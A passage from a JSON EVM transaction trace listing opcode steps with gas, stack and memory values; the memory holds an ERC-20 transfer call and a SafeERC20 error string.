000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8233,"op":"JUMPDEST","gas":28525,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8234,"op":"POP","gas":28524,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8235,"op":"MUL","gas":28522,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8236,"op":"SWAP1","gas":28517,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0xab4deb08da182ff126d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8237,"op":"JUMP","gas":28514,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xab4deb08da182ff126d350","0xc18"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3096,"op":"JUMPDEST","gas":28506,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xab4deb08da182ff126d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3097,"op":"PUSH2","gas":28505,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xab4deb08da182ff126d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3100,"op":"SWAP2","gas":28502,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xab4deb08da182ff126d350","0xc22"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3101,"op":"SWAP1","gas":28499,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xab4deb08da182ff126d350","0xd02ab486cedc0000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3102,"op":"PUSH2","gas":28496,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3105,"op":"JUMP","gas":28493,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350","0x1ff8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8184,"op":"JUMPDEST","gas":28485,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8185,"op":"PUSH1","gas":28484,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8187,"op":"DUP3","gas":28481,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8188,"op":"DUP3","gas":28478,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350","0x0","0xd02ab486cedc0000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8189,"op":"LT","gas":28475,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350","0x0","0xd02ab486cedc0000","0xab4deb08da182ff126d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8190,"op":"ISZERO","gas":28472,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8191,"op":"PUSH2","gas":28469,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8194,"op":"JUMPI","gas":28466,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350","0x0","0x1","0x200a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8202,"op":"JUMPDEST","gas":28456,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8203,"op":"POP","gas":28455,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8204,"op":"SUB","gas":28453,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xd02ab486cedc0000","0xab4deb08da182ff126d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8205,"op":"SWAP1","gas":28450,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc22","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8206,"op":"JUMP","gas":28447,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xab4dea38af63a9224ad350","0xc22"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3106,"op":"JUMPDEST","gas":28439,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xab4dea38af63a9224ad350"],"memory":["00000000000000000000000000000000